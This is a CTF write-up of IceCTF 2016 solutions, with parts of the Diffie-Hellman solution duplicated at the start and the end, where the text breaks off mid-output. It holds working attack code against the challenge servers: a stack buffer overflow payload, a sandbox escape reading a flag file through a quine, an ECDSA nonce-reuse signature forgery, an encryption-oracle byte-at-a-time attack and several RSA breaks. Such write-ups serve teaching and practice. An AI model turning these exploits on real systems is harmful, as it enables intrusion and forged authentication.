p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
